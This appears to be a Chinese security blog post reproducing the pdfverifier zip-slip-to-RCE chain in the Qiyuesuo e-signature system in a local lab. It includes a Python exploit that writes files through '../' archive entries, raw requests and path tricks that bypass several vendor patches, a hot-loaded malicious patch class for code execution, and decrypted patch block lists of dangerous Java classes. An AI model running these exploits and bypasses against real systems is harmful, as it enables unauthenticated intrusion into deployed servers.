前言
护网的时候就有看到这个漏洞,现在终于有时间来复现一下。
整理一下环境搭建中遇到的问题,以及复现过程中踩的坑。
我这里使用契约锁4.3.4,jdk8u341,360zip,win11进行复现。
环境搭建
应用目录分析
先去某鱼收一个安装包。解压完后的目录长这样:

bin/start.bat是启动脚本,我们打开加上远程调试参数:

从这里也可以发现,契约锁会同时运行3个springboot进程。
对应的端口可以去jar包的application.properties里面看。
privapp.jar对应9180,privoss.jar对应9181,privopen对应9182

官方建议只对外开放9180端口pdfverifier接口的漏洞便是在这个端口,对应的jar包为privapp.jar。所以我们上面只在privapp.jar处加调试参数。
除了上面的三个主要jar,还有一个libs目录,里面是大量第三方依赖,但是也有一些priv开头的jar:

这些priv是上面三个主要jar的公共依赖。
然后日志在logs目录下:

console.log里是当天的。
补丁结构分析
去官网下载补丁:
https://www.qiyuesuo.com/more/security/servicepack
补丁下载链接为:https://dl.qiyuesuo.com/private/security/1.4.0/private-security-patch.package.tar.gz
将1.4.0替换成别的数字,即可下载任意版本补丁。
补丁目录:

读一下README

需要把private-security-loader-1.0.0.jar放入libs目录,然后private-security-patch.jar放入security目录。
知道这些后,我们就可以开始搭建idea项目了。
idea项目搭建
需要添加为lib的有:三个主要jar包;libs目录中契约锁相关的jar;libs里面的其他依赖;补丁包里的两个jar
需要反编译成源码的有:privapp.jar;libs目录中契约锁相关的jar;补丁包里的两个jar
把需要反编译的全打包成zip,然后拖到jd-gui一起反编译即可,最后解压到idea,添加为源。
用之前在审计U8cloud时的脚本,把com.qiyuesuo和net.qiyuesuo的jar全部筛选出来:
注释没改不用看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
   | import os import zipfile import shutil import logging
 
  logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
  def check_jar_conditions(jar_path):     """检查 JAR 文件的第一层目录中是否包含 'nc'、'u8c' 或者 com/yonyou"""     try:         with zipfile.ZipFile(jar_path, 'r') as jar:             file_names = jar.namelist()             first_level_dirs = set()
                           for file in file_names:                 first_level = file.split('/')[0]                 first_level_dirs.add(first_level)
                           if 'com' in first_level_dirs:                                  for file in file_names:                     parts = file.split('/')                     if len(parts) >= 2 and parts[0] == 'com' and parts[1] == 'qiyuesuo':                         return True             if 'com' in first_level_dirs:                                  for file in file_names:                     parts = file.split('/')                     if len(parts) >= 2 and parts[0] == 'net' and parts[1] == 'qiyuesuo':                         return True             return False     except Exception as e:         logging.error(f"无法处理 JAR 文件 {jar_path}: {e}")         return False
  def copy_jar_files(source_dir, target_dir):     """递归提取目录下的所有 JAR 包,并按 dir1_dir2_xxx.jar 格式重命名"""     if not os.path.exists(target_dir):         os.makedirs(target_dir)
           for root, dirs, files in os.walk(source_dir):         for file in files:             if file.endswith('.jar'):                 jar_path = os.path.join(root, file)
                                   if check_jar_conditions(jar_path):                                          relative_path = os.path.relpath(root, source_dir)                     new_filename = relative_path.replace(os.sep, '_') + '_' + file                     target_path = os.path.join(target_dir, new_filename)
                                           counter = 1                     while os.path.exists(target_path):                                                  name, ext = os.path.splitext(file)                         target_path = os.path.join(target_dir, f"{new_filename.split('.')[0]}_{counter}{ext}")                         counter += 1
                                           shutil.copy(jar_path, target_path)                     logging.info(f"已复制符合条件的 JAR 文件: {jar_path} -> {target_path}")
  if __name__ == '__main__':          source_directory = './'       target_directory = 'D:/qiyuesuoJars'  
           copy_jar_files(source_directory, target_directory)
   | 
 
最终筛出来这些包:

最终大概长这样,我这里略有不同,反正要用的包全部添加了就行:

注意事项
文章里看到过privapp.jar无法正常解压的情况。解决方法如下:

路由分析
privapp.jar打开,有两个文件夹比较显眼,一个是config,一个是security:

这两个目录大概率有鉴权相关操作。后面发现,security里是具体实现,config里配置了路由:
PrivappConfigurer:

allowed字符数组里,定义了不需要鉴权的路由,因为有/captcha, /login等,很明显就是不用鉴权的。要注意的是,所有路由访问时都得在前面加上/api,因为下面allowedArr里做了字符串拼接操作。
我们今天的主角也在里面:

漏洞分析
任意写
这里的漏洞是一个解压穿越漏洞。
全局搜索/pdfverifier:


说实话,我还是不太清楚,为什么要通过/api/pdfverifier来访问。类上面写的path不是 /pdfverifier吗?我的开发基础太差了,之后还得好好学习一下。
我们的漏洞方法是这里的verify。
前面两行没什么,就是获取上传文件的字节和获取扩展名。跟进doVerfify:

这里只允许pdf和odf文件,且pdf不能是加密的。我们跟进红框处的verify方法:

这里的common-ofd似乎也是自研的,我在网上没搜到,所以应该也归类到业务代码进行反编译。不过能发现common-ofd里面也是net.qiyuesuo开头的,所以可以写脚本把有这两层目录的jar包全部筛选出来,这样就能找到所有业务相关jar了。
decompre就是decompress,这里我们跟进红框,很明显就是一个解压操作:

断点处直接拿zipEntry的name进行拼接了,存在目录穿越的漏洞。所以我们可以实现任意写文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | import zipfile
  import requests
 
  def gen_zip(filename):     try:         zipFile = zipfile.ZipFile(f'bad.ofd', 'w')         zipFile.write("1.txt", f"../{filename}", zipfile.ZIP_DEFLATED)         zipFile.close()     except Exception as e:         print(e)
 
  if __name__ == '__main__':     gen_zip("123aaazxc.txt")
      url = "http://127.0.0.1:9180/api/pdfverifier"     file = open("bad.ofd", "rb")
      proxy = {         "http": "http://127.0.0.1:8080/",         "https": "http://127.0.0.1:8080/",     }
      requests.post(url, files={"file": file})
   | 
 
由于默认写在C盘,所以只往前写一个目录,写到Temp里,不然可能报错,说没有写权限:

成功写入:

但是,springboot应用,怎么从任意写提升到RCE?
1、linux可以写计划任务。
缺点:这里是用qiyuesuo用户起的web应用,没权限
2、覆盖charset.jar
缺点:不知道jdk路径,得猜,而且方法很麻烦
3、写模板文件
缺点:如果模板文件从jar里读取,就写不了;而且这里没有Thymeleaf等模板解析器
4、写sshkey
缺点:还是权限问题,而且容易被发现
这里就要学到一种新的RCE方式,热加载补丁。
热加载补丁
再回顾一下补丁里的README文件:


上面提到,把priv-loader放到libs后,在服务启动的情况下,直接将patch放入security文件夹,然后等待30s,查看日志是否有输出。
这里可以猜测,这里的补丁是不是通过热加载的方式打上的?这里又提到“被重新加载的类”,那么类在重新加载的时候,会不会触发里面的静态方法和无参构造呢?
通过名字可以知道,priv-loader是负责加载补丁包的,而patch是真正的补丁内容。我们这里看一下priv-loader的源码:

com.qiyuesuo.security.patch.loader.SecurityLibManager#deployScheduler就是进行热加载的地方。
这里会检查patch的sha1值,如果发现变化,就会重新进行加载。
我们跟进一下this.reload:

使用自定义的SecurityLibClassLoader去加载patchJar,然后指定targetLibClassLoader为当前线程的上下文类加载器,这样当前线程就能从patchJar中进行类加载。
然后回去跟进this.registerQVDLogic:

跟进readAndLoadClassNameFromJar方法:

这里会load patchJar里面的所有类,并返回一个列表,里面都是相应的className。
回到registerQVDLogic,这次跟进this.registerFilterLogic:

这里会初始化com.qiyuesuo.security.patch.filter.logic包中的类,所以我们知道了该如何构造恶意patchJar。
向com.qiyuesuo.security.patch.filter.logic包中添加恶意类即可。为了让恶意类能够第一个顺利加载,需要设置恶意类名为AAAAxxxx。
直接打开jar,往里面拖文件即可:

顺利加载:


但是有一个现象,在断点停下前,会先打印两次,弹两次计算器,然后才在断点处停下,之后弹第三次计算器,那么前两次是为什么呢?我试过在Runtime.exec处打断点,但是前两次也无法停下。
有时候又是先在断点停下,但是还没到恶意类初始化的地方,就跳出两次计算器。
多次热加载?
下面的内容全是问killer师傅才知道的,再次感谢killer师傅的耐心解答。
断点下了,一定是能断住的,除非触发热加载的不是这个进程。
我们回想一下,契约锁应用是不是默认会开三个端口,而这三个端口,都是独立的springboot应用,也就是说,这是三个独立的进程。
说到这里,已经有些眉目了,大概率是因为三个进程都各自加载了一遍补丁,所以才会触发三次恶意类初始化。
但是还需要验证。这里需要用到一个新工具:Process Monitor
打开后我们需要在Filter菜单加两条过滤规则:
将进程名设置为java.exe:

将操作设置为ReadFile:

全部add后,点击apply应用。
接着快捷键ctrl+x,把之前的都清除。然后重复前面的恶意jar热加载,记得idea别开断点。
等三次计算器全弹出后,按ctrl+e,暂停捕捉。



这里可以看到,23656,2692,22660进程依次加载了恶意patchJar,并打开了计算器。我们查一下进程号对应的端口:



分别对应了9180,9182,9181
所以,如果这次idea打断点的话,就会先停下,然后执行到热加载前就弹出两次计算器。
到这里,为什么弹出三次计算器的问题终于得到了解决。
补丁分析
security.rsc
解密后会自动输出到日志,所以可以直接到日志中查看:
logs/console.log

这是1.3.7版本补丁的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329
   | Key: SweepCodePreventLogic.LOWER_URI Value: ^/contract/sweepcode/detail/\d{19}$ =================== Key: DangerOpenUrlLogic.RISK_URI Value: /thirdintegration/save =================== Key: DbTestPreventLogic.RISK_UPGRADE_URI Value: /setup/dbtest Value: /api/setup/dbtest =================== Key: PinCatchPreventLogic.RISK_URI Value: /login/pin Value: /api/login/pin =================== Key: PdfverifierPreventWrapper.OTHER Value: .jar Value: .sh Value: .bat Value: .py Value: .class Value: .java Value: .bash Value: .so =================== Key: PdfverifierPreventWrapper.PARAM Value: ../ =================== Key: UAPreventLogic.RISK_URI Value: /user/add Value: /api/user/add =================== Key: CustomCodePreventLogic.UPLOAD_URL_LIST Value: /utask/upload Value: /api/code/upload Value: /code/upload Value: /api/sys/config/storage/custom/upload Value: /sys/config/storage/custom/upload Value: /api/sys/config/convert/upload Value: /sys/config/convert/upload Value: /api/message/strategy/upload Value: /message/strategy/upload Value: /code/seal/upload Value: /api/code/seal/upload Value: /code/category/upload Value: /api/code/category/upload =================== Key: TemplateParamUtils.REGEX Value: ^[\+\-\*/\.\(\)0-9\s]+$ =================== Key: PdfverifierPreventWrapper.TYPE Value: ofd =================== Key: Qvd12Filter.BASIC_PATHS Value: /favicon.ico Value: /qyswebapp/assets Value: /qys/webapp/basePath Value: /license/checkExpire Value: /api/license/checkExpire Value: /checkHealth Value: /login?service =================== Key: SecurityPropertiesManager.ADDITIONAL_URL_LISTS Value: /qyswebapp/assets/auth/** Value: /qyswebapp/assets/avatar/** Value: /qyswebapp/assets/css/** Value: /qyswebapp/assets/db/** Value: /qyswebapp/assets/favicon.ico Value: /qyswebapp/assets/fonts/** Value: /qyswebapp/assets/i18n/** Value: /qyswebapp/assets/img/** Value: /qyswebapp/assets/js/** Value: /qyswebapp/assets/logo/** Value: /qyswebapp/assets/oa/** Value: /qyswebapp/assets/views/** Value: /qyswebapp/assets/cmaps/** Value: /qysoss/assets/auth/** Value: /qysoss/assets/avatar/** Value: /qysoss/assets/css/** Value: /qysoss/assets/db/** Value: /qysoss/assets/favicon.ico Value: /qysoss/assets/fonts/** Value: /qysoss/assets/i18n/** Value: /qysoss/assets/img/** Value: /qysoss/assets/js/** Value: /qysoss/assets/logo/** Value: /qysoss/assets/oa/** Value: /qysoss/assets/views/** Value: /assets/auth/** Value: /assets/avatar/** Value: /assets/css/** Value: /assets/db/** Value: /assets/favicon.ico Value: /assets/fonts/** Value: /assets/i18n/** Value: /assets/img/** Value: /assets/js/** Value: /assets/logo/** Value: /assets/oa/** Value: /assets/views/** Value: /assets/cmaps/** =================== Key: TemplateParamUtils.PATTERN Value: \{.*?\} =================== Key: PinLoginPreventLogic.NAME Value: service =================== Key: SecurityVersionInfoLogic.METHOD Value: getSecurityPatchAutoDownload =================== Key: PdfverifierPreventWrapper.SENSITIVE_URL Value: /document/createbyofd Value: /api/document/createbyofd =================== Key: CustomCodeRequestWrapper.ADJACENT_SEMICOLON_REGEX Value: ;\s*; =================== Key: SecurityPropertiesManager.RISK_URL_LISTS Value: /user/change/mobile Value: /user/mobile/pin Value: /user/voice/pin Value: /api/user/change/mobile Value: /api/user/mobile/pin Value: /api/user/voice/pin Value: /user/get/account Value: /qyswebapp/assets/** Value: /qysoss/assets/** Value: /assets/** =================== Key: SweepCodePreventLogic.OVER_434_REGEX Value: Xig/PS4qXGJfPVswLTldezEzfVxiKSg/PS4qXGJpZD1bMC05XXsxOX1cYikoPz0uKlxic2lnbmF0b3J5SWQ9WzAtOV17MTl9XGIpLiskCg =================== Key: DangerUrlPreventLogic.RISK_URI Value: /assets/loadResource Value: /api/assets/loadResource =================== Key: DangerUrlForbiddenLogic.RISK_URI Value: /api/actuator Value: /actuator Value: /v3/api-docs Value: /api/v3/api-docs =================== Key: DocumentParamPreventLogic.TEMPLATE_URI_LIST Value: /v2/contract/edit Value: /v2/contract/create Value: /contract/create Value: /contract/createRetainParams Value: /contract/edit Value: /contract/fillparam Value: /api/contract/create Value: /api/contract/doc/edit Value: /api/contract/fillparam Value: /contract/create Value: /contract/doc/edit Value: /contract/fillparam Value: /contract/createbycategory =================== Key: NetCheckPreventLogic.URI Value: /api/netCheck/setConfig Value: /netCheck/setConfig =================== Key: SweepCodePreventLogic.LOWER_434_REGEX Value: Xig/PS4qXGJfPVswLTldezEzfVxiKSg/PS4qXGJzaWduYXRvcnlJZD1bMC05XXsxOX1cYikuKyQK =================== Key: UploaderPreventLogic.RISK_URI Value: /file/uploader/merge Value: /api/file/uploader/merge =================== Key: CustomCodeRequestWrapper.MULTIPLE_WHITESPACE_REGEX Value: import\s =================== Key: UpgradePreventLogic.RISK_UPGRADE_URI Value: /upgrade Value: /api/upgrade Value: /update Value: /api/update =================== Key: UploaderPreventLogic.REGEX Value: type =================== Key: CustomCodeRequestWrapper.IMPORT_REGEX Value: ^import\s+(static\s+)?[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)*\s*;$ =================== Key: CustomCodeRequestWrapper.SENSITIVE_KEY_LISTS Value: Runtime Value: Process Value: ProcessBuilder Value: SpelExpressionParser Value: invoke Value: Class.forName Value: newInstance Value: ClassLoader Value: Constructor Value: ObjectInputStream Value: ScriptEngine Value: parseExpression Value: getDeclaredField Value: setAccessible Value: getMethod Value: lookup Value: freemarker Value: security Value: Base64 Value: SerializationUtils Value: deserialize Value: static Value: Yaml Value: JdbcRowSetImpl Value: Transformer Value: AgentManager Value: JARSoundbankReader Value: Ognl Value: DefaultExecutor Value: hutool Value: Base16 Value: Base32 Value: Base58 Value: Base62 Value: Base64 Value: Base85 Value: Base91 Value: eval( =================== Key: DangerOpenUrlLogic.RISK_STRING Value: J6WPW25eHj =================== Key: SecurityVersionInfoLogic.URL Value: /security/info =================== Key: PinLoginPreventLogic.PARAM Value: applicantChange Value: userName Value: contact Value: corpName =================== Key: UpgradePreventLogic.RISK_UPGRADE_EXCLUDE_URI Value: /upgrade/status Value: /upgrade/sqldetail Value: /api/upgrade/status Value: /api/upgrade/sqldetail Value: /update/password/pin Value: /api/update/password/pin Value: /update/password Value: /api/update/password Value: /upgrade/detail/download Value: /upgrade/error/servicedetail Value: /upgrade/error/sqldetail Value: /upgrade/errordetail =================== Key: UAPreventLogic.METHOD Value: getRegisterPersonAccount =================== Key: SweepCodePreventLogic.PRE_URI Value: /contract/sweepcode/detail Value: /api/contract/sweepcode/detail =================== Key: TemplateParamRequestWrapper.TEMPLATE_PARAM_URI Value: /api/template/param/edits Value: /template/param/edits Value: /api/template/html/update Value: /template/html/update =================== Key: PinLoginPreventLogic.RISK_URI Value: /login Value: /api/login =================== Key: SweepCodePreventLogic.METHOD_2 Value: get =================== Key: SweepCodePreventLogic.METHOD_1 Value: set =================== Key: TemplateParamRequestWrapper.TEMPLATE_HTML_URI Value: /template/html/add Value: /api/template/html/add =================== Key: UploaderPreventLogic.PARAM Value: html =================== Key: SweepCodePreventLogic.RISK_URI Value: /contract/sweepcode/pin Value: /api/contract/sweepcode/pin =================== Key: SweepCodePreventLogic.LOWER_URI_API Value: ^/api/contract/sweepcode/detail/\d{19}$ =================== Key: CustomCodePreventLogic.METHOD Value: inInnerCompany =================== Key: Qvd12Filter.RETRIEVE_WHITELIST_PATHS Value: /company/retrieve Value: /api/company/retrieve Value: /captcha Value: /api/captcha Value: /user Value: /api/user Value: /user/auth Value: /api/user/auth Value: /login/ Value: /api/login/ Value: /apidsz/random Value: /api/apidsz/random Value: /sys/config Value: /api/sys/config Value: /css Value: /api/css Value: /checkHealth Value: /api/checkHealth =================== Key: PinCatchPreventLogic.NAME Value: applicantChange =================== Key: DangerOpenUrlLogic.PARAM_NAME Value: x-qys-accesstoken =================== Key: PdfverifierPreventLogic.PDFVERIFIER_URL_LIST Value: /api/pdfverifier Value: /pdfverifier Value: /api/file/uploader/chunk Value: /file/uploader/chunk Value: /api/document/createbyfile Value: /document/createbyfile Value: /document/createbyofd Value: /api/document/createbyofd =================== Key: CustomCodeDealLogic.URL_LIST Value: /api/code/download Value: /code/download ===================
   | 
 
当然,查看解密代码,自己写脚本解密也行:


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | import com.qiyuesuo.security.encrypt.RSAUtils;
  import java.io.*; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map;
  public class decRsc {     public static void main(String[] args) throws IOException {         decodeRsc("security.rsc");     }
      public static void decodeRsc(String fileName) throws IOException {         File file = new File(fileName);         BufferedReader reader = new BufferedReader(new FileReader(file));         String line;         Map<String, List<String>> SECURITY_SRC_MAP = new HashMap<>();
          while ((line = reader.readLine()) != null) {             String[] parts = line.split(":", 2);             if (parts.length == 2) {                 String key = parts[0].trim();                 String value = parts[1].trim();                 List<String> decodedValueList = new ArrayList<>();                 String[] encodedValueList = value.split(",");                 for (String encodeValue : encodedValueList) {                     String decodeValue = RSAUtils.decryptByDefaultPrivateKey(encodeValue);                     decodedValueList.add(decodeValue.trim());                 }                 String decodedKey = RSAUtils.decryptByDefaultPrivateKey(key);                 SECURITY_SRC_MAP.put(decodedKey, decodedValueList);             }         }
          for (Map.Entry<String, List<String>> entry : SECURITY_SRC_MAP.entrySet()) {             String key = entry.getKey();             List<String> valueList = entry.getValue();             System.out.println("Key: " + key);             for (String value : valueList) {                 System.out.println("Value: " + value);             }             System.out.println("===================");         }     } }
   | 
 
1.3.2
分析
补丁包里主要的过滤代码应该在filter里:

logic里面是过滤逻辑;wrapper是包装类,一般用于过滤某一类请求。
QvdLogicManager会被QvdFilter调用,负责遍历每一个logic:


用idea自带的功能对比1.3.1和1.3.2的patchJar,找到修复点:

PdfverifierPreventLogic这里先对路由进行匹配,匹配成功的,会用PdfverifierPreventWrapper对request进行包装:

走完所有的filter后,就会进入springboot的处理逻辑,就是DispatcherServlet.doDispatcher里的那一套。里面会先处理上传的文件,最终走到补丁里添加的com.qiyuesuo.security.patch.filter.wrapper.PdfverifierPreventWrapper#getParts:


只有当filename结尾为ofd时,才会进入if逻辑,判断是否有穿越符。但是我们又必须保证在最终的verify方法里,文件后缀为ofd,这样才能触发解压穿越。这里使用url编码绕过。
PdfverifierPreventWrapper#getParts调用org.apache.catalina.core.ApplicationPart#getSubmittedFileName进行文件名解析,不会进行URL解码:

但是springboot的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest会解码:



所以可以通过URL编码来实现绕过。
绕过
1 2 3 4 5 6 7 8 9 10 11 12 13
   | POST /api/pdfverifier HTTP/1.1 Host: 127.0.0.1:9180 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Content-Length: 302 Content-Type: multipart/form-data; boundary=3bd5f90d2232775f31d7948a090430c8
  --3bd5f90d2232775f31d7948a090430c8 Content-Disposition: form-data; name="file"; filename*="%62%61%64%2e%6f%66%64"
  PKxxx
   | 
 
filename后面有个*,这样才能进入springboot的url解码逻辑。
1.3.3-1.3.5
这里我们直接对比1.3.5和1.3.6,看看修复点在哪里:

这里在URL处理时,移除了末尾的斜杠。而原本的逻辑,只是将//替换成/。
我们看一下uriProcessor这个方法:

首先能够发现,这个方法在各个Logic里面都会使用,用来从request里面解析url。解析URL是通过request.getRequestURI获取,所以这里能想到一些绕过,比如:
- /api/;/pdfverifier
 
- /api/./pdfverifier
 
- ///api/pdfverifier
 
但是,在PdfLogic前,还有一个DangerUrlLogic,会对URL里的一些敏感字符进行拦截:

不允许出现//,./,;
所以得想其他的方法去绕过。
这里用到的就是Spring的路由解析特性,在最后加一个斜杠照样能访问到。
所以绕过为:api/pdfverifier/
这样就不会匹配PDFVERIFIER_URL_LIST:

下面的截图是解密后的security.rsc

1.3.6
对比1.3.6和1.3.7,看看1.3.6的绕过点是怎么修的:

1.3.6是将双斜杠换成单斜杠,1.3.7将任意多个斜杠,都替换成单斜杠。
这里的绕过是三斜杠绕过,即在路由末尾添加三个斜杠。但是前面讲过,DangerUrlLogic应该会拦截双斜杠才对,三斜杠理应也被拦截,那么为什么这里又可以了呢?
再看一下uriProcess方法:

最后是先替换双斜杠为单斜杠,然后再去除末尾的斜杠。
那么,///最终就会变成/,这样就跟1.3.5的绕过一样了。
1.3.7
和1.3.8补丁对比:

可以发现,原本的zis.getNextEntry被修改成takeentrie.hasMoreElements()了。而takeentrie.hasMoreElements()和后面pdfverifierController那边的解压逻辑是一样的。那是不是可以说明,能够制作一个压缩包,能够使zis.getNextEntry为null,且在后面正常解压?
我们跟进zis.getNextEntry,去看看怎么样才能返回null:

重点在readLOC,跟进:

这里其实是读取文件头等信息的方法,可以问一下AI,怎么样才能返回null:

所以我们可以修改文件头:

任意加两个字符即可,不会影响解压。
总结
这次新学的知识:
1、热加载触发恶意类
2、使用进程监视器观察热加载过程
3、URL解析差异导致的鉴权绕过
说实话,绕过里手法很多都是第一次见,以后得专门学一下URL解析差异导致的绕过
另外,如果自己去挖掘新漏洞,应该如何下手?
之前挖u8cloud时,是个spring mvc项目,几个入口路由都写在web.xml里了,难点在于搞清楚每个路由能调用哪些jar里的类,以及怎么去请求到具体的方法。
而契约锁是个springboot项目,主要的jar只有几个,无需鉴权的url也写在config类里了。现在的问题是,怎么筛选出对应的类?另外,这里的鉴权和过滤,大部分都不是直接在controller中处理的,而是在各种filter中。那么,要怎么知道你的请求会被哪些filter处理?
总之,大一点的springboot项目还有很多不熟悉的,尤其是在鉴权方面。之后有空得补一下开发相关的内容。
参考
契约锁pdfverifier RCE攻防绕过史 
契约锁电子签章系统 pdfverifier rce 前台漏洞分析(从源码分析)-先知社区 
契约锁代码审计分析_契约锁漏洞-CSDN博客